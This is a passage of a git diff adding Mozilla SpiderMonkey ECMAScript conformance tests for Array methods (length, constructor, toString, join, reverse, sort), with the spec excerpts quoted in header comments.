+new TestCase( SECTION,
+ "Array.length",
+ 1,
+ Array.length );
+
+test();
diff --git a/js/src/tests/ecma/Array/15.4.4.1.js b/js/src/tests/ecma/Array/15.4.4.1.js
new file mode 100644
index 000000000..7ffe56002
--- /dev/null
+++ b/js/src/tests/ecma/Array/15.4.4.1.js
@@ -0,0 +1,29 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.4.4.1.js
+ ECMA Section: 15.4.4.1 Array.prototype.constructor
+ Description: The initial value of Array.prototype.constructor
+ is the built-in Array constructor.
+ Author: christine@netscape.com
+ Date: 7 october 1997
+*/
+
+var SECTION = "15.4.4.1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Array.prototype.constructor";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+new TestCase( SECTION,
+ "Array.prototype.constructor == Array",
+ true,
+ Array.prototype.constructor == Array);
+
+test();
diff --git a/js/src/tests/ecma/Array/15.4.4.2.js b/js/src/tests/ecma/Array/15.4.4.2.js
new file mode 100644
index 000000000..a471da1cc
--- /dev/null
+++ b/js/src/tests/ecma/Array/15.4.4.2.js
@@ -0,0 +1,76 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.4.4.2.js
+ ECMA Section: 15.4.4.2 Array.prototype.toString()
+ Description: The elements of this object are converted to strings
+ and these strings are then concatenated, separated by
+ comma characters. The result is the same as if the
+ built-in join method were invoiked for this object
+ with no argument.
+ Author: christine@netscape.com
+ Date: 7 october 1997
+*/
+
+var SECTION = "15.4.4.2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Array.prototype.toString";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "Array.prototype.toString.length",
+ 0,
+ Array.prototype.toString.length );
+
+new TestCase( SECTION,
+ "(new Array()).toString()",
+ "",
+ (new Array()).toString() );
+
+new TestCase( SECTION,
+ "(new Array(2)).toString()",
+ ",",
+ (new Array(2)).toString() );
+
+new TestCase( SECTION,
+ "(new Array(0,1)).toString()",
+ "0,1",
+ (new Array(0,1)).toString() );
+
+new TestCase( SECTION,
+ "(new Array( Number.NaN, Number.POSITIVE_INFINITY, Number.NEGATIVE_INFINITY)).toString()",
+ "NaN,Infinity,-Infinity",
+ (new Array( Number.NaN, Number.POSITIVE_INFINITY, Number.NEGATIVE_INFINITY)).toString() );
+
+new TestCase( SECTION,
+ "(new Array( Boolean(1), Boolean(0))).toString()",
+ "true,false",
+ (new Array(Boolean(1),Boolean(0))).toString() );
+
+new TestCase( SECTION,
+ "(new Array(void 0,null)).toString()",
+ ",",
+ (new Array(void 0,null)).toString() );
+
+var EXPECT_STRING = "";
+var MYARR = new Array();
+
+for ( var i = -50; i < 50; i+= 0.25 ) {
+ MYARR[MYARR.length] = i;
+ EXPECT_STRING += i +",";
+}
+
+EXPECT_STRING = EXPECT_STRING.substring( 0, EXPECT_STRING.length -1 );
+
+new TestCase( SECTION,
+ "MYARR.toString()",
+ EXPECT_STRING,
+ MYARR.toString() );
+
+test();
diff --git a/js/src/tests/ecma/Array/15.4.4.3-1.js b/js/src/tests/ecma/Array/15.4.4.3-1.js
new file mode 100644
index 000000000..dd550e511
--- /dev/null
+++ b/js/src/tests/ecma/Array/15.4.4.3-1.js
@@ -0,0 +1,127 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.4.4.3-1.js
+ ECMA Section: 15.4.4.3-1 Array.prototype.join()
+ Description: The elements of this object are converted to strings and
+ these strings are then concatenated, separated by comma
+ characters. The result is the same as if the built-in join
+ method were invoiked for this object with no argument.
+ Author: christine@netscape.com, pschwartau@netscape.com
+ Date: 07 October 1997
+ Modified: 14 July 2002
+ Reason: See http://bugzilla.mozilla.org/show_bug.cgi?id=155285
+ ECMA-262 Ed.3 Section 15.4.4.5 Array.prototype.join()
+ Step 3: If |separator| is |undefined|, let |separator|
+ be the single-character string ","
+ *
+ */
+
+var SECTION = "15.4.4.3-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Array.prototype.join()");
+
+var ARR_PROTOTYPE = Array.prototype;
+
+new TestCase( SECTION, "Array.prototype.join.length", 1, Array.prototype.join.length );
+
+// case where array length is 0
+
+new TestCase( SECTION,
+ "var TEST_ARRAY = new Array(); TEST_ARRAY.join()",
+ "",
+ eval("var TEST_ARRAY = new Array(); TEST_ARRAY.join()") );
+
+// array length is 0, but spearator is specified
+
+new TestCase( SECTION,
+ "var TEST_ARRAY = new Array(); TEST_ARRAY.join(' ')",
+ "",
+ eval("var TEST_ARRAY = new Array(); TEST_ARRAY.join(' ')") );
+
+// length is greater than 0, separator is supplied
+new TestCase( SECTION,
+ "var TEST_ARRAY = new Array(null, void 0, true, false, 123, new Object(), new Boolean(true) ); TEST_ARRAY.join('&')",
+ "&&true&false&123&[object Object]&true",
+ eval("var TEST_ARRAY = new Array(null, void 0, true, false, 123, new Object(), new Boolean(true) ); TEST_ARRAY.join('&')") );
+
+// length is greater than 0, separator is empty string
+new TestCase( SECTION,
+ "var TEST_ARRAY = new Array(null, void 0, true, false, 123, new Object(), new Boolean(true) ); TEST_ARRAY.join('')",
+ "truefalse123[object Object]true",
+ eval("var TEST_ARRAY = new Array(null, void 0, true, false, 123, new Object(), new Boolean(true) ); TEST_ARRAY.join('')") );
+
+// length is greater than 0, separator is undefined
+new TestCase( SECTION,
+ "var TEST_ARRAY = new Array(null, void 0, true, false, 123, new Object(), new Boolean(true) ); TEST_ARRAY.join(void 0)",
+ ",,true,false,123,[object Object],true",
+ eval("var TEST_ARRAY = new Array(null, void 0, true, false, 123, new Object(), new Boolean(true) ); TEST_ARRAY.join(void 0)") );
+
+// length is greater than 0, separator is not supplied
+new TestCase( SECTION,
+ "var TEST_ARRAY = new Array(null, void 0, true, false, 123, new Object(), new Boolean(true) ); TEST_ARRAY.join()",
+ ",,true,false,123,[object Object],true",
+ eval("var TEST_ARRAY = new Array(null, void 0, true, false, 123, new Object(), new Boolean(true) ); TEST_ARRAY.join()") );
+
+// separator is a control character
+new TestCase( SECTION,
+ "var TEST_ARRAY = new Array(null, void 0, true, false, 123, new Object(), new Boolean(true) ); TEST_ARRAY.join('\v')",
+ decodeURIComponent("%0B%0Btrue%0Bfalse%0B123%0B[object Object]%0Btrue"),
+ eval("var TEST_ARRAY = new Array(null, void 0, true, false, 123, new Object(), new Boolean(true) ); TEST_ARRAY.join('\v')") );
+
+// length of array is 1
+new TestCase( SECTION,
+ "var TEST_ARRAY = new Array(true) ); TEST_ARRAY.join('\v')",
+ "true",
+ eval("var TEST_ARRAY = new Array(true); TEST_ARRAY.join('\v')") );
+
+
+SEPARATOR = "\t"
+ TEST_LENGTH = 100;
+TEST_STRING = "";
+ARGUMENTS = "";
+TEST_RESULT = "";
+
+for ( var index = 0; index < TEST_LENGTH; index++ ) {
+ ARGUMENTS += index;
+ ARGUMENTS += ( index == TEST_LENGTH -1 ) ? "" : ",";
+
+ TEST_RESULT += index;
+ TEST_RESULT += ( index == TEST_LENGTH -1 ) ? "" : SEPARATOR;
+}
+
+TEST_ARRAY = eval( "new Array( "+ARGUMENTS +")" );
+
+new TestCase( SECTION,
+ "TEST_ARRAY.join("+SEPARATOR+")",
+ TEST_RESULT,
+ TEST_ARRAY.join( SEPARATOR ) );
+
+new TestCase( SECTION,
+ "(new Array( Boolean(true), Boolean(false), null, void 0, Number(1e+21), Number(1e-7))).join()",
+ "true,false,,,1e+21,1e-7",
+ (new Array( Boolean(true), Boolean(false), null, void 0, Number(1e+21), Number(1e-7))).join() );
+
+// this is not an Array object
+new TestCase( SECTION,
+ "var OB = new Object_1('true,false,111,0.5,1.23e6,NaN,void 0,null'); OB.join(':')",
+ "true:false:111:0.5:1230000:NaN::",
+ eval("var OB = new Object_1('true,false,111,0.5,1.23e6,NaN,void 0,null'); OB.join(':')") );
+
+test();
+
+function Object_1( value ) {
+ this.array = value.split(",");
+ this.length = this.array.length;
+ for ( var i = 0; i < this.length; i++ ) {
+ this[i] = eval(this.array[i]);
+ }
+ this.join = Array.prototype.join;
+ this.getClass = Object.prototype.toString;
+}
diff --git a/js/src/tests/ecma/Array/15.4.4.3-2.js b/js/src/tests/ecma/Array/15.4.4.3-2.js
new file mode 100644
index 000000000..9b01737c2
--- /dev/null
+++ b/js/src/tests/ecma/Array/15.4.4.3-2.js
@@ -0,0 +1,39 @@
+var arr = [0,1,,3,4];
+Object.prototype[2] = 2;
+
+assertEq(arr.join(""), "01234");
+assertEq(arr.join(","), "0,1,2,3,4");
+
+arr[2] = "porkchops";
+assertEq(arr.join("*"), "0*1*porkchops*3*4");
+
+delete Object.prototype[2];
+assertEq(arr.join("*"), "0*1*porkchops*3*4");
+
+delete arr[2];
+assertEq(arr.join("*"), "0*1**3*4");
+
+Object.prototype[2] = null;
+assertEq(arr.join("*"), "0*1**3*4");
+Object.prototype[2] = undefined;
+assertEq(arr.join("*"), "0*1**3*4");
+arr[2] = null;
+assertEq(arr.join("*"), "0*1**3*4");
+arr[2] = undefined;
+assertEq(arr.join("*"), "0*1**3*4");
+
+var arr = new Array(10);
+assertEq(arr.join(""), "");
+assertEq(arr.join(), ",,,,,,,,,");
+assertEq(arr.join("|"), "|||||||||");
+
+arr[2] = "doubt";
+assertEq(arr.join(","), ",,doubt,,,,,,,");
+
+arr[9] = "failure";
+assertEq(arr.join(","), ",,doubt,,,,,,,failure");
+
+delete arr[2];
+assertEq(arr.join(","), ",,,,,,,,,failure");
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma/Array/15.4.4.4-1.js b/js/src/tests/ecma/Array/15.4.4.4-1.js
new file mode 100644
index 000000000..da3e2ecdf
--- /dev/null
+++ b/js/src/tests/ecma/Array/15.4.4.4-1.js
@@ -0,0 +1,250 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.4.4.3-1.js
+ ECMA Section: 15.4.4.3-1 Array.prototype.reverse()
+ Description:
+
+ The elements of the array are rearranged so as to reverse their order.
+ This object is returned as the result of the call.
+
+ 1. Call the [[Get]] method of this object with argument "length".
+ 2. Call ToUint32(Result(1)).
+ 3. Compute floor(Result(2)/2).
+ 4. Let k be 0.
+ 5. If k equals Result(3), return this object.
+ 6. Compute Result(2)k1.
+ 7. Call ToString(k).
+ 8. ToString(Result(6)).
+ 9. Call the [[Get]] method of this object with argument Result(7).
+ 10. Call the [[Get]] method of this object with argument Result(8).
+ 11. If this object has a property named by Result(8), go to step 12; but
+ if this object has no property named by Result(8), then go to either
+ step 12 or step 14, depending on the implementation.
+ 12. Call the [[Put]] method of this object with arguments Result(7) and
+ Result(10).
+ 13. Go to step 15.
+ 14. Call the [[Delete]] method on this object, providing Result(7) as the
+ name of the property to delete.
+ 15. If this object has a property named by Result(7), go to step 16; but if
+ this object has no property named by Result(7), then go to either step 16
+ or step 18, depending on the implementation.
+ 16. Call the [[Put]] method of this object with arguments Result(8) and
+ Result(9).
+ 17. Go to step 19.
+ 18. Call the [[Delete]] method on this object, providing Result(8) as the
+ name of the property to delete.
+ 19. Increase k by 1.
+ 20. Go to step 5.
+
+ Note that the reverse function is intentionally generic; it does not require
+ that its this value be an Array object. Therefore it can be transferred to other
+ kinds of objects for use as a method. Whether the reverse function can be applied
+ successfully to a host object is implementation dependent.
+
+ Note: Array.prototype.reverse allows some flexibility in implementation
+ regarding array indices that have not been populated. This test covers the
+ cases in which unpopulated indices are not deleted, since the JavaScript
+ implementation does not delete uninitialzed indices.
+
+ Author: christine@netscape.com
+ Date: 7 october 1997
+*/
+var SECTION = "15.4.4.4-1";
+var VERSION = "ECMA_1";
+var BUGNUMBER="123724";
+startTest();
+
+writeHeaderToLog( SECTION + " Array.prototype.reverse()");
+
+var ARR_PROTOTYPE = Array.prototype;
+
+new TestCase( SECTION,
+ "Array.prototype.reverse.length",
+ 0,
+ Array.prototype.reverse.length );
+
+// length of array is 0
+new TestCase( SECTION,
+ "var A = new Array(); A.reverse(); A.length",
+ 0,
+ eval("var A = new Array(); A.reverse(); A.length") );
+
+// length of array is 1
+var A = new Array(true);
+var R = Reverse(A);
+
+new TestCase( SECTION,
+ "var A = new Array(true); A.reverse(); A.length",
+ R.length,
+ eval("var A = new Array(true); A.reverse(); A.length") );
+
+CheckItems( R, A );
+
+// length of array is 2
+var S = "var A = new Array( true,false )";
+eval(S);
+var R = Reverse(A);
+
+new TestCase( SECTION,
+ S +"; A.reverse(); A.length",
+ R.length,
+ eval( S + "; A.reverse(); A.length") );
+
+CheckItems( R, A );
+
+// length of array is 3
+var S = "var A = new Array( true,false,null )";
+eval(S);
+var R = Reverse(A);
+
+new TestCase( SECTION,
+ S +"; A.reverse(); A.length",
+ R.length,
+ eval( S + "; A.reverse(); A.length") );
+
+CheckItems( R, A );
+
+// length of array is 4
+var S = "var A = new Array( true,false,null,void 0 )";
+eval(S);
+var R = Reverse(A);
+
+new TestCase( SECTION,
+ S +"; A.reverse(); A.length",
+ R.length,
+ eval( S + "; A.reverse(); A.length") );
+CheckItems( R, A );
+
+
+// some array indexes have not been set
+var S = "var A = new Array(); A[8] = 'hi', A[3] = 'yo'";
+eval(S);
+var R = Reverse(A);
+
+new TestCase( SECTION,
+ S +"; A.reverse(); A.length",
+ R.length,
+ eval( S + "; A.reverse(); A.length") );
+
+CheckItems( R, A );
+
+
+var OBJECT_OBJECT = new Object();
+var FUNCTION_OBJECT = new Function( 'return this' );
+var BOOLEAN_OBJECT = new Boolean;
+var DATE_OBJECT = new Date(0);
+var STRING_OBJECT = new String('howdy');
+var NUMBER_OBJECT = new Number(Math.PI);
+var ARRAY_OBJECT= new Array(1000);
+
+var args = "null, void 0, Math.pow(2,32), 1.234e-32, OBJECT_OBJECT, BOOLEAN_OBJECT, FUNCTION_OBJECT, DATE_OBJECT, STRING_OBJECT,"+
+ "ARRAY_OBJECT, NUMBER_OBJECT, Math, true, false, 123, '90210'";
+
+var S = "var A = new Array("+args+")";
+eval(S);
+var R = Reverse(A);
+
+new TestCase( SECTION,
+ S +"; A.reverse(); A.length",
+ R.length,
+ eval( S + "; A.reverse(); A.length") );
+
+CheckItems( R, A );
+
+var limit = 1000;
+var args = "";
+for (var i = 0; i < limit; i++ ) {
+ args += i +"";
+ if ( i + 1 < limit ) {
+ args += ",";
+ }
+}
+
+var S = "var A = new Array("+args+")";
+eval(S);
+var R = Reverse(A);
+
+new TestCase( SECTION,
+ S +"; A.reverse(); A.length",
+ R.length,
+ eval( S + "; A.reverse(); A.length") );
+
+CheckItems( R, A );
+
+var S = "var MYOBJECT = new Object_1( \"void 0, 1, null, 2, \'\'\" )";
+eval(S);
+var R = Reverse( A );
+
+new TestCase( SECTION,
+ S +"; A.reverse(); A.length",
+ R.length,
+ eval( S + "; A.reverse(); A.length") );
+
+CheckItems( R, A );
+
+test();
+
+function CheckItems( R, A ) {
+ for ( var i = 0; i < R.length; i++ ) {
+ new TestCase(
+ SECTION,
+ "A["+i+ "]",
+ R[i],
+ A[i] );
+ }
+}
+
+function Object_1( value ) {
+ this.array = value.split(",");
+ this.length = this.array.length;
+ for ( var i = 0; i < this.length; i++ ) {
+ this[i] = eval(this.array[i]);
+ }
+ this.join = Array.prototype.reverse;
+ this.getClass = Object.prototype.toString;
+}
+
+function Reverse( array ) {
+ var r2 = array.length;
+ var k = 0;
+ var r3 = Math.floor( r2/2 );
+ if ( r3 == k ) {
+ return array;
+ }
+
+ for ( k = 0; k < r3; k++ ) {
+ var r6 = r2 - k - 1;
+// var r7 = String( k );
+ var r7 = k;
+ var r8 = String( r6 );
+
+ var r9 = array[r7];
+ var r10 = array[r8];
+
+ array[r7] = r10;
+ array[r8] = r9;
+ }
+
+ return array;
+}
+
+function Iterate( array ) {
+ for ( var i = 0; i < array.length; i++ ) {
+// print( i+": "+ array[String(i)] );
+ }
+}
+
+function Object_1( value ) {
+ this.array = value.split(",");
+ this.length = this.array.length;
+ for ( var i = 0; i < this.length; i++ ) {
+ this[i] = this.array[i];
+ }
+ this.reverse = Array.prototype.reverse;
+ this.getClass = Object.prototype.toString;
+}
diff --git a/js/src/tests/ecma/Array/15.4.4.4-2.js b/js/src/tests/ecma/Array/15.4.4.4-2.js
new file mode 100644
index 000000000..60ad9049f
--- /dev/null
+++ b/js/src/tests/ecma/Array/15.4.4.4-2.js
@@ -0,0 +1,133 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.4.4.3-1.js
+ ECMA Section: 15.4.4.3-1 Array.prototype.reverse()
+ Description:
+
+ The elements of the array are rearranged so as to reverse their order.
+ This object is returned as the result of the call.
+
+ 1. Call the [[Get]] method of this object with argument "length".
+ 2. Call ToUint32(Result(1)).
+ 3. Compute floor(Result(2)/2).
+ 4. Let k be 0.
+ 5. If k equals Result(3), return this object.
+ 6. Compute Result(2)k1.
+ 7. Call ToString(k).
+ 8. ToString(Result(6)).
+ 9. Call the [[Get]] method of this object with argument Result(7).
+ 10. Call the [[Get]] method of this object with argument Result(8).
+ 11. If this object has a property named by Result(8), go to step 12; but
+ if this object has no property named by Result(8), then go to either
+ step 12 or step 14, depending on the implementation.
+ 12. Call the [[Put]] method of this object with arguments Result(7) and
+ Result(10).
+ 13. Go to step 15.
+ 14. Call the [[Delete]] method on this object, providing Result(7) as the
+ name of the property to delete.
+ 15. If this object has a property named by Result(7), go to step 16; but if
+ this object has no property named by Result(7), then go to either step 16
+ or step 18, depending on the implementation.
+ 16. Call the [[Put]] method of this object with arguments Result(8) and
+ Result(9).
+ 17. Go to step 19.
+ 18. Call the [[Delete]] method on this object, providing Result(8) as the
+ name of the property to delete.
+ 19. Increase k by 1.
+ 20. Go to step 5.
+
+ Note that the reverse function is intentionally generic; it does not require
+ that its this value be an Array object. Therefore it can be transferred to other
+ kinds of objects for use as a method. Whether the reverse function can be applied
+ successfully to a host object is implementation dependent.
+
+ Note: Array.prototype.reverse allows some flexibility in implementation
+ regarding array indices that have not been populated. This test covers the
+ cases in which unpopulated indices are not deleted, since the JavaScript
+ implementation does not delete uninitialzed indices.
+
+ Author: christine@netscape.com
+ Date: 7 october 1997
+*/
+
+var SECTION = "15.4.4.4-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Array.prototype.reverse()");
+
+var ARR_PROTOTYPE = Array.prototype;
+
+new TestCase( SECTION, "Array.prototype.reverse.length", 0, Array.prototype.reverse.length );
+
+// length of array is 0
+new TestCase( SECTION,
+ "var A = new Array(); A.reverse(); A.length",
+ 0,
+ eval("var A = new Array(); A.reverse(); A.length") );
+
+test();
+
+function CheckItems( R, A ) {
+ for ( var i = 0; i < R.length; i++ ) {
+ new TestCase(
+ SECTION,
+ "A["+i+ "]",
+ R[i],
+ A[i] );
+ }
+}
+test();
+
+function Object_1( value ) {
+ this.array = value.split(",");
+ this.length = this.array.length;
+ for ( var i = 0; i < this.length; i++ ) {
+ this[i] = eval(this.array[i]);
+ }
+ this.join = Array.prototype.reverse;
+ this.getClass = Object.prototype.toString;
+}
+function Reverse( array ) {
+ var r2 = array.length;
+ var k = 0;
+ var r3 = Math.floor( r2/2 );
+ if ( r3 == k ) {
+ return array;
+ }
+
+ for ( k = 0; k < r3; k++ ) {
+ var r6 = r2 - k - 1;
+// var r7 = String( k );
+ var r7 = k;
+ var r8 = String( r6 );
+
+ var r9 = array[r7];
+ var r10 = array[r8];
+
+ array[r7] = r10;
+ array[r8] = r9;
+ }
+
+ return array;
+}
+function Iterate( array ) {
+ for ( var i = 0; i < array.length; i++ ) {
+// print( i+": "+ array[String(i)] );
+ }
+}
+
+function Object_1( value ) {
+ this.array = value.split(",");
+ this.length = this.array.length;
+ for ( var i = 0; i < this.length; i++ ) {
+ this[i] = this.array[i];
+ }
+ this.reverse = Array.prototype.reverse;
+ this.getClass = Object.prototype.toString;
+}
diff --git a/js/src/tests/ecma/Array/15.4.4.5-1.js b/js/src/tests/ecma/Array/15.4.4.5-1.js
new file mode 100644
index 000000000..967e54715
--- /dev/null
+++ b/js/src/tests/ecma/Array/15.4.4.5-1.js
@@ -0,0 +1,191 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.4.4.5.js
+ ECMA Section: Array.prototype.sort(comparefn)
+ Description:
+
+ This test file tests cases in which the compare function is not supplied.
+
+ The elements of this array are sorted. The sort is not necessarily stable.
+ If comparefn is provided, it should be a function that accepts two arguments
+ x and y and returns a negative value if x < y, zero if x = y, or a positive
+ value if x > y.
+
+ 1. Call the [[Get]] method of this object with argument "length".
+ 2. Call ToUint32(Result(1)).
+ 1. Perform an implementation-dependent sequence of calls to the
+ [[Get]] , [[Put]], and [[Delete]] methods of this object and
+ toSortCompare (described below), where the first argument for each call
+ to [[Get]], [[Put]] , or [[Delete]] is a nonnegative integer less
+ than Result(2) and where the arguments for calls to SortCompare are
+ results of previous calls to the [[Get]] method. After this sequence
+ is complete, this object must have the following two properties.
+ (1) There must be some mathematical permutation of the nonnegative
+ integers less than Result(2), such that for every nonnegative integer
+ j less than Result(2), if property old[j] existed, then new[(j)] is
+ exactly the same value as old[j],. but if property old[j] did not exist,
+ then new[(j)] either does not exist or exists with value undefined.
+ (2) If comparefn is not supplied or is a consistent comparison
+ function for the elements of this array, then for all nonnegative
+ integers j and k, each less than Result(2), if old[j] compares less
+ than old[k] (see SortCompare below), then (j) < (k). Here we use the
+ notation old[j] to refer to the hypothetical result of calling the [
+ [Get]] method of this object with argument j before this step is
+ executed, and the notation new[j] to refer to the hypothetical result
+ of calling the [[Get]] method of this object with argument j after this
+ step has been completely executed. A function is a consistent
+ comparison function for a set of values if (a) for any two of those
+ values (possibly the same value) considered as an ordered pair, it
+ always returns the same value when given that pair of values as its
+ two arguments, and the result of applying ToNumber to this value is
+ not NaN; (b) when considered as a relation, where the pair (x, y) is
+ considered to be in the relation if and only if applying the function
+ to x and y and then applying ToNumber to the result produces a
+ negative value, this relation is a partial order; and (c) when
+ considered as a different relation, where the pair (x, y) is considered
+ to be in the relation if and only if applying the function to x and y
+ and then applying ToNumber to the result produces a zero value (of either
+ sign), this relation is an equivalence relation. In this context, the
+ phrase "x compares less than y" means applying Result(2) to x and y and
+ then applying ToNumber to the result produces a negative value.
+ 3.Return this object.
+
+ When the SortCompare operator is called with two arguments x and y, the following steps are taken:
+ 1.If x and y are both undefined, return +0.
+ 2.If x is undefined, return 1.
+ 3.If y is undefined, return 1.
+ 4.If the argument comparefn was not provided in the call to sort, go to step 7.
+ 5.Call comparefn with arguments x and y.
+ 6.Return Result(5).
+ 7.Call ToString(x).
+ 8.Call ToString(y).
+ 9.If Result(7) < Result(8), return 1.
+ 10.If Result(7) > Result(8), return 1.
+ 11.Return +0.
+
+ Note that, because undefined always compared greater than any other value, undefined and nonexistent
+ property values always sort to the end of the result. It is implementation-dependent whether or not such
+ properties will exist or not at the end of the array when the sort is concluded.
+
+ Note that the sort function is intentionally generic; it does not require that its this value be an Array object.
+ Therefore it can be transferred to other kinds of objects for use as a method. Whether the sort function can be
+ applied successfully to a host object is implementation dependent .
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+
+var SECTION = "15.4.4.5-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Array.prototype.sort(comparefn)";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+var S = new Array();
+var item = 0;
+
+// array is empty.
+S[item++] = "var A = new Array()";
+
+// array contains one item
+S[item++] = "var A = new Array( true )";
+
+// length of array is 2
+S[item++] = "var A = new Array( true, false, new Boolean(true), new Boolean(false), 'true', 'false' )";
+
+S[item++] = "var A = new Array(); A[3] = 'undefined'; A[6] = null; A[8] = 'null'; A[0] = void 0";
+
+S[item] = "var A = new Array( ";
+
+var limit = 0x0061;
+for ( var i = 0x007A; i >= limit; i-- ) {
+ S[item] += "\'"+ String.fromCharCode(i) +"\'" ;
+ if ( i > limit ) {
+ S[item] += ",";
+ }
+}
+
+S[item] += ")";
+
+item++;
+
+for ( var i = 0; i < S.length; i++ ) {
+ CheckItems( S[i] );
+}
+
+test();
+
+function CheckItems( S ) {
+ eval( S );
+ var E = Sort( A );
+
+ new TestCase( SECTION,
+ S +"; A.sort(); A.length",
+ E.length,
+ eval( S + "; A.sort(); A.length") );
+
+ for ( var i = 0; i < E.length; i++ ) {
+ new TestCase(
+ SECTION,
+ "A["+i+ "].toString()",
+ E[i] +"",
+ A[i] +"");
+
+ if ( A[i] == void 0 && typeof A[i] == "undefined" ) {
+ new TestCase(
+ SECTION,
+ "typeof A["+i+ "]",
+ typeof E[i],
+ typeof A[i] );
+ }
+ }
+}
+function Object_1( value ) {
+ this.array = value.split(",");
+ this.length = this.array.length;
+ for ( var i = 0; i < this.length; i++ ) {
+ this[i] = eval(this.array[i]);
+ }
+ this.sort = Array.prototype.sort;
+ this.getClass = Object.prototype.toString;
+}
+function Sort( a ) {
+ for ( i = 0; i < a.length; i++ ) {
+ for ( j = i+1; j < a.length; j++ ) {
+ var lo = a[i];
+ var hi = a[j];
+ var c = Compare( lo, hi );
+ if ( c == 1 ) {
+ a[i] = hi;
+ a[j] = lo;
+ }
+ }
+ }
+ return a;
+}
+function Compare( x, y ) {
+ if ( x == void 0 && y == void 0 && typeof x == "undefined" && typeof y == "undefined" ) {
+ return +0;
+ }
+ if ( x == void 0 && typeof x == "undefined" ) {
+ return 1;
+ }
+ if ( y == void 0 && typeof y == "undefined" ) {
+ return -1;
+ }
+ x = String(x);
+ y = String(y);
+ if ( x < y ) {
+ return -1;
+ }
+ if ( x > y ) {
+ return 1;
+ }
+ return 0;
+}
diff --git a/js/src/tests/ecma/Array/15.4.4.5-2.js b/js/src/tests/ecma/Array/15.4.4.5-2.js
new file mode 100644
index 000000000..c242cddbb
--- /dev/null
+++ b/js/src/tests/ecma/Array/15.4.4.5-2.js
@@ -0,0 +1,193 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.4.4.5-2.js
+ ECMA Section: Array.prototype.sort(comparefn)
+ Description:
+
+ This test file tests cases in which the compare function is supplied.
+ In this cases, the sort creates a reverse sort.
+
+ The elements of this array are sorted. The sort is not necessarily stable.
+ If comparefn is provided, it should be a function that accepts two arguments
+ x and y and returns a negative value if x < y, zero if x = y, or a positive
+ value if x > y.
+
+ 1. Call the [[Get]] method of this object with argument "length".
+ 2. Call ToUint32(Result(1)).
+ 1. Perform an implementation-dependent sequence of calls to the
+ [[Get]] , [[Put]], and [[Delete]] methods of this object and
+ toSortCompare (described below), where the first argument for each call
+ to [[Get]], [[Put]] , or [[Delete]] is a nonnegative integer less
+ than Result(2) and where the arguments for calls to SortCompare are
+ results of previous calls to the [[Get]] method. After this sequence
+ is complete, this object must have the following two properties.
+ (1) There must be some mathematical permutation of the nonnegative
+ integers less than Result(2), such that for every nonnegative integer
+ j less than Result(2), if property old[j] existed, then new[(j)] is
+ exactly the same value as old[j],. but if property old[j] did not exist,
+ then new[(j)] either does not exist or exists with value undefined.
+ (2) If comparefn is not supplied or is a consistent comparison
+ function for the elements of this array, then for all nonnegative
+ integers j and k, each less than Result(2), if old[j] compares less
+ than old[k] (see SortCompare below), then (j) < (k). Here we use the
+ notation old[j] to refer to the hypothetical result of calling the [
+ [Get]] method of this object with argument j before this step is
+ executed, and the notation new[j] to refer to the hypothetical result
+ of calling the [[Get]] method of this object with argument j after this
+ step has been completely executed. A function is a consistent
+ comparison function for a set of values if (a) for any two of those
+ values (possibly the same value) considered as an ordered pair, it
+ always returns the same value when given that pair of values as its
+ two arguments, and the result of applying ToNumber to this value is
+ not NaN; (b) when considered as a relation, where the pair (x, y) is
+ considered to be in the relation if and only if applying the function
+ to x and y and then applying ToNumber to the result produces a
+ negative value, this relation is a partial order; and (c) when
+ considered as a different relation, where the pair (x, y) is considered
+ to be in the relation if and only if applying the function to x and y
+ and then applying ToNumber to the result produces a zero value (of either
+ sign), this relation is an equivalence relation. In this context, the
+ phrase "x compares less than y" means applying Result(2) to x and y and
+ then applying ToNumber to the result produces a negative value.
+ 3.Return this object.
+
+ When the SortCompare operator is called with two arguments x and y, the following steps are taken:
+ 1.If x and y are both undefined, return +0.
+ 2.If x is undefined, return 1.
+ 3.If y is undefined, return 1.
